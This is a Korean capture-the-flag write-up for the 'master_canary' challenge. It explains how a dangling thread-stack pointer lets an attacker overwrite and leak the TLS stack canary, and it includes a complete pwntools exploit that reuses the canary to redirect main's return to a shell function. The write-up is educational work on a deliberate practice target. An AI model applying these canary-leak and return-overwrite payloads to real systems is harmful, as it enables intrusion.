master_canary
A thread's local buffer outlives its frame, and the canary pthread_create copied into that thread is the same value main checks.
난 그냥 어려운 버전에 카나리 문제여서 마스터가 붙는줄알았는데… 있는 용어였다. 용어를 정리하면,
마스터 카나리 (master canary)
- 위치: TLS (
fs:0x28) - 역할: 원본. 스택 카나리가 값을 베껴오는 곳이자, 나중에 비교하는 기준.
스택 카나리 (stack canary)
- 위치: 각 함수의 스택 프레임 안 (buf와 리턴 주소 사이)
- 역할: 복사본. 함수 시작할 때 마스터에서 값을 복사해 심어둠.
그래서 스택 카나리를 알기 위해 마스터 카나리 값을 릭 하는게 목표.
프로그램의 구조 먼저 보자.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <pthread.h>
char *global_buffer;
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
void get_shell() {
system("/bin/sh");
}
void *thread_routine() {
char buf[256];
global_buffer = buf;
}
void read_bytes(char *buf, size_t size) {
size_t sz = 0;
size_t idx = 0;
size_t tmp;
while (sz < size) {
tmp = read(0, &buf[idx], 1);
if (tmp != 1) {
exit(-1);
}
idx += 1;
sz += 1;
}
return;
}
int main(int argc, char *argv[]) {
size_t size = 0;
pthread_t thread_t;
int idx = 0;
char leave_comment[32];
initialize();
while (1) {
printf("1. Create thread\n");
printf("2. Input\n");
printf("3. Exit\n");
printf("> ");
scanf("%d", &idx);
switch (idx) {
case 1:
if (pthread_create(&thread_t, NULL, thread_routine, NULL) < 0) {
perror("thread create error");
exit(0);
}
break;
case 2:
printf("Size: ");
scanf("%lu", &size);
printf("Data: ");
read_bytes(global_buffer, size);
printf("Data: %s", global_buffer);
break;
case 3:
printf("Leave comment: ");
read(0, leave_comment, 1024);
return 0;
default:
printf("Nope\n");
break;
}
}
return 0;
}
취약점 1 — Dangling Pointer (UAF)
char *global_buffer;
void *thread_routine() {
char buf[256];
global_buffer = buf;
}
Dangling pointer 취약점에대한 정의를 먼저 내리자.
Dangling Pointer는 이미 해제됐거나 더 이상 유효하지 않은 메모리를 계속 가리키는 포인터를 말합니다. 포인터 변수에는 주소가 그대로 남아 있지만, 그 주소의 메모리는 이미 시스템에 반환되었거나 다른 용도로 다시 쓰이고 있는 상태입니다. C나 C++처럼 메모리를 직접 관리하는 언어에서 주로 생깁니다.
예시 코드이다. 메모리가 free 된 후에도 계속 사용을 하는 경우이다.
char *p = malloc(16);
strcpy(p, "hello");
free(p); // 메모리는 해제됐지만 p에는 주소가 그대로 남아 있음
printf("%s", p); // 해제된 메모리를 읽음 → 정의되지 않은 동작
그 외에도 함수가 지역 변수의 주소를 반환할 때나 같은 메모리를 가리키는 포인터가 여러 개일 때일때도 생길수있는 일이다.
여기서 중요한 것은 buf와 global_buffer의 차이이다.
buf: Thread 함수 내부에서 선언한 지역 변수global_buffer: 전역 변수로, 프로그램 전체에서 접근 가능
이 코드에서 보면, 전역변수인 global_buffer 는 buf 를 참조하고있다. 하지만, 함수 thread_routine() 이 끝나면 buf의 수명도 끝난다. 그런데 global_buffer는 여전히 그 주소를 가르키고있는거다.
하지만 이 에러가 어떻게 완전한 취약점이 되는걸까? 그건 여길보면된다.
read_bytes(global_buffer, size);
원래는 유효하지 않은 포인터를 사용하면 안 되지만, 프로그램은 아무런 검사 없이 해당 주소에 데이터를 (buf 자리에) 쓸려고 한다. 이것이 바로 USE AFTER FREE 로 넘어가는것이다.
취약점 2 — Stack buffer overflow
이 취약점은 함수 read_bytes() 을 보면 있다.
void read_bytes(char *buf, size_t size) {
size_t sz = 0;
size_t idx = 0;
size_t tmp;
while (sz < size) {
tmp = read(0, &buf[idx], 1);
if (tmp != 1) {
exit(-1);
}
idx += 1;
sz += 1;
}
return;
}
사실 여기를 보면
void *thread_routine() {
char buf[256];
global_buffer = buf;
}
buf 의 길이는 이미 256 바이트로 정해져있다. 하지만 이 함수는 사용자에게 크기를 묻지 않는다. size는 호출하는 쪽(caller)이 인자로 넘겨주는 값이다. 함수 내부는 그 size를 그냥 믿고 그 횟수만큼 반복해서 쓴다. 즉, 몇 바이트를 쓸지는 전적으로 호출자가 넘긴 size에 달려 있는것이다.
여기서 read() 함수를 이해해야한다. 이 함수를 제데로 이해하지 못하면서 그냥 “읽는 함수가 어떻게 쓰기(오버플로)를 하냐?” 라고 헷갈릴수있습니다 (내가 그랬음). 하지만 read() 는 함수에 이름과 다르게 write 도 포함한다.
read(0, &buf[idx], 1);
│ │ │
│ │ └ 길이
│ └ 목적지(destination) — 메모리에 쓰는 곳
└ 출처(source) — fd 0 = stdin에서 읽어옴
read는 stdin(fd 0)에서 데이터를 읽어와서, 그걸 buf[idx]라는 메모리에 저장(write) 합니다. 즉:
- 입력 쪽(stdin) 에서는 “읽기”가 맞습니다.
- 하지만 메모리(buf) 쪽 에서는 그 읽어온 값을 써 넣는(write) 겁니다.
그러니까 read_bytes는 프로그램 입장에서 보면 stdin → buf 로 메모리에 쓰는 함수입니다. 그래서 오버플로가 성립합니다.
while (sz < size) {
read(0, &buf[idx], 1); // buf[idx]에 1바이트 WRITE
idx += 1; // 다음 칸
sz += 1;
}
idx가 0, 1, 2, … 로 증가하면서 buf[0], buf[1], … 에 차례로 써 나갑니다. size가 buf 크기(256)보다 크면 buf[256], buf[257] … 즉 경계 밖 메모리에 계속 써 넣습니다. 이게 바로 오버플로(쓰기)입니다.
취약점 3 — Stack canary leak
printf("Data: %s", global_buffer);
왜 leak이 필요한가: 카나리는 랜덤이라 미리 알 수 없습니다. case 3에서 리턴 주소를 덮으려면 그 앞의 카나리를 원래 값 그대로 복원해야 하는데, 그러려면 먼저 값을 “읽어내야” 합니다.
%s의 성질: printf("%s", p)는 p부터 시작해서 첫 번째 null 바이트(0x00)를 만날 때까지 출력합니다.
카나리의 생김새 (리눅스 x86-64):
카나리 = 0x??????????????00
└─ 최하위 1바이트는 항상 0x00
glibc는 카나리 LSB를 일부러 null byte로 둡니다. 이건 %s/strcpy 같은 문자열 연산으로 카나리가 통째로 새는 걸 막으려는 방어책이에요. (리틀 엔디안이니까 00 부터 시작함, 뒤에 있다는게 마지막이라는 뜻이 아님)
하지만 우리는 read_bytes(case 2)로 데이터를 카나리의 LSB 자리까지 non-null 1바이트로 덮어버릴수있다. 그러면 널을 만나지 않은 상태여서, 카나리 초반에서 끊겨버리지 않는다. 00 대신 a 로 채워두고 그 부분이 널인걸 아니까 다시 채우면 전체 카나리를 구할수있다.
취약점 4 — Master canary: thread 간 canary 공유
카나리 검증 메커니즘은 이렇다.
mov rax, fs:0x28 ; 현재 스레드 TLS의 마스터 카나리
cmp rax, [rbp-8] ; 스택 프레임에 저장해 둔 카나리와 비교
jne __stack_chk_fail ; 다르면 죽음
그러니까 “더럽혀질 수 없는 원본(fs:0x28) vs 더럽혀졌을 수 있는 스택 사본([rbp-8])” 을 비교 함으로써 스택에 오버플로우가 일어났는지를 검증한다.
공유라는 표현이 오해를 부를 수있는데 정확히 말하면, “복사돼서 값이 같다(same value)” 이다. 근데 이 코드에서 그게 왜 문제가 되냐? 그건 우리가 이 특성때문에 Worker에서 얻은 카나리를 Main에서 재사용할수있기 때문이다.
복사 논리.
main TLS (fs:0x28) ★원본/마스터★
│
├──→ main 스택 [rbp-8] (main 함수가 자기 TLS에서 복사)
│
└──→ worker TLS (fs:0x28) (pthread_create가 main TLS에서 복사)
│ // worker 는 그냥 pthread_create로 만든 자식 스레드임
└──→ worker 스택 [rbp-8] (worker 함수가 자기 TLS에서 복사)
취약점 5 — 메인의 stack buffer overflow
char leave_comment[32]; // 32바이트 버퍼
read(0, leave_comment, 1024); // 최대 1024바이트 입력 → 992바이트 초과 가능
return 0; // main 리턴 = 저장된 리턴 주소로 점프
main 스택 프레임 레이아웃 (아래가 낮은 주소):
┌──────────────────────┐ 낮은 주소
│ leave_comment[0..31] │ 32바이트
├──────────────────────┤
│ ... 다른 지역변수 ... │ (size, idx, thread_t 등 — 컴파일러 배치에 따라)
├──────────────────────┤
│ 저장된 카나리 │ ← [rbp-8], 여기를 ②의 값으로 정확히 복원
├──────────────────────┤
│ 저장된 RBP │ 8바이트
├──────────────────────┤
│ 리턴 주소 │ ← 여기를 get_shell로
└──────────────────────┘ 높은 주소
페이로드 구성:
payload = b'A' * OFFSET_TO_CANARY # leave_comment ~ 카나리 직전까지 채우기
payload += p64(canary) # ②에서 재사용한 카나리 → 검사 통과
payload += b'B' * 8 # 저장된 RBP (아무 값)
payload += p64(get_shell_addr) # 리턴 주소 → system("/bin/sh")
공격 목표와 전체 그림
이제 취약점은 다 분석했으니 익스를 짜고 계획을 세우자.
- 목표: main의 리턴 주소를 get_shell로 덮어
system("/bin/sh")실행. - 장애물: main의 스택 카나리.
- 해법: UAF로 접근한 worker 스레드 TLS에서 카나리를 leak → 공유 성질로 main에도 유효 → case 3 오버플로에서 재사용.
밑에는 익스코드이다.
import sys, time, argparse
from pwn import *
context.arch = 'amd64'
context.log_level = 'info'
GET_SHELL = 0x400a4a # get_shell() -> system("/bin/sh")
CANARY_DIST = 0x28 # leave_comment(rbp-0x30) .. canary(rbp-0x8)
CANARY_OFF = 0x8e8 # buf .. worker thread's fs:0x28 (glibc 2.23, 8MB stack)
def start(args):
if args.local:
return process(args.local)
return remote(args.host, args.port)
def pwn(off, args, verbose=True):
io = start(args)
io.sendlineafter(b'> ', b'1')
io.recvuntil(b'> ')
time.sleep(0.4)
io.sendline(b'2')
io.sendlineafter(b'Size: ', str(off + 1).encode())
io.sendafter(b'Data: ', b'A' * (off + 1))
io.recvuntil(b'Data: ')
leak = io.recvuntil(b'1. Create thread', drop=True)
if len(leak) < off + 8:
io.close()
return None, None
canary = b'\x00' + leak[off + 1:off + 8]
if verbose:
log.success('offset 0x%x canary = %#018x' % (off, u64(canary)))
payload = b'A' * CANARY_DIST
payload += canary
payload += b'B' * 8 # saved rbp
payload += p64(GET_SHELL) # return address
io.sendlineafter(b'> ', b'3')
io.sendafter(b'Leave comment: ', payload)
return io, canary
def main():
ap = argparse.ArgumentParser()
ap.add_argument('--host', default='host3.dreamhack.games')
ap.add_argument('--port', type=int, default=15554)
ap.add_argument('--local')
ap.add_argument('--offset', type=lambda x: int(x, 0), default=CANARY_OFF)
ap.add_argument('--cmd', default=None, help='non-interactive check')
args = ap.parse_args()
io, canary = pwn(args.offset, args)
if io is None:
log.failure('leak too short - wrong offset?')
return 1
if args.cmd:
io.sendline(args.cmd.encode())
print(io.clean(timeout=3).decode(errors='replace'))
else:
io.interactive()
return 0
if __name__ == '__main__':
sys.exit(main())
방향이랑 자잘한 프로세스들
보호기법을 보면 공격 경로가 바로 좁혀진다.
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
- No PIE → get_shell 주소가 0x400a4a로 고정. 주소 leak 필요 없음
- NX → 쉘코드 불가. 그래서 ret2win(get_shell로 점프)
- 카나리 → 리턴 주소를 덮으려면 반드시 통과해야 함
이 문제는 나머지는 이 세 값만 알면 된다.
GET_SHELL = 0x400a4a # ret2win 목적지
// info function get_shell
CANARY_DIST = 0x28 # leave_comment ~ main 카나리 거리
// disassemble main //CANARY_DIST = 0x30 - 0x8 = 0x28 걍 리버싱
CANARY_OFF = 0x8e8 # worker buf ~ 스레드 카나리 거리
// worker 카나리 거리 (스레드 1개 생성 후)
// set $canary = *(unsigned long*)($fs_base + 0x28)
// set $gb = *(unsigned long*)&global_buffer
// find $gb, +0x3000, $canary
// p/x ($found - $gb) # → CANARY_OFF
// x/gx $gb + CANARY_OFF # 끝 바이트 00 확인
본격적 코드 분석
io.sendlineafter(b'> ', b'1')
io.recvuntil(b'> ')
time.sleep(0.4)
메뉴 1로 스레드를 생성합니다. 0.4초 쉬어서 스레드가 확실히 실행을 마치도록 기다린다.
io.sendline(b'2')
io.sendlineafter(b'Size: ', str(off + 1).encode())
io.sendafter(b'Data: ', b'A' * (off + 1))
Size에 off + 1 = 0x8e9 입력 → read_bytes가 global_buffer부터 0x8e9 바이트를 쓴다. (UAF) 0x8e8까지는 buf와 그 사이 공간을 ‘A’로 채우고, 마지막 +1 바이트가 카나리의 LSB(0x00)를 ‘A’로 덮는다. 아까 말했던 00 (null) 값을 덮음으로서 canary leak.
if len(leak) < off + 8:
io.close()
return None, None
canary = b'\x00' + leak[off + 1:off + 8]
길이 검증하고 맞으면 \x00을 붙여 LSB를 복원한다. 이게 완전한 8바이트 카나리.
payload = b'A' * CANARY_DIST # 0x28 = leave_comment ~ 카나리
payload += canary # 복원한 진짜 카나리
payload += b'B' * 8 # saved rbp
payload += p64(GET_SHELL) # return address
io.sendlineafter(b'> ', b'3')
io.sendafter(b'Leave comment: ', payload)
그리고 카나리 써서 페이로드 하면 끝!!!!!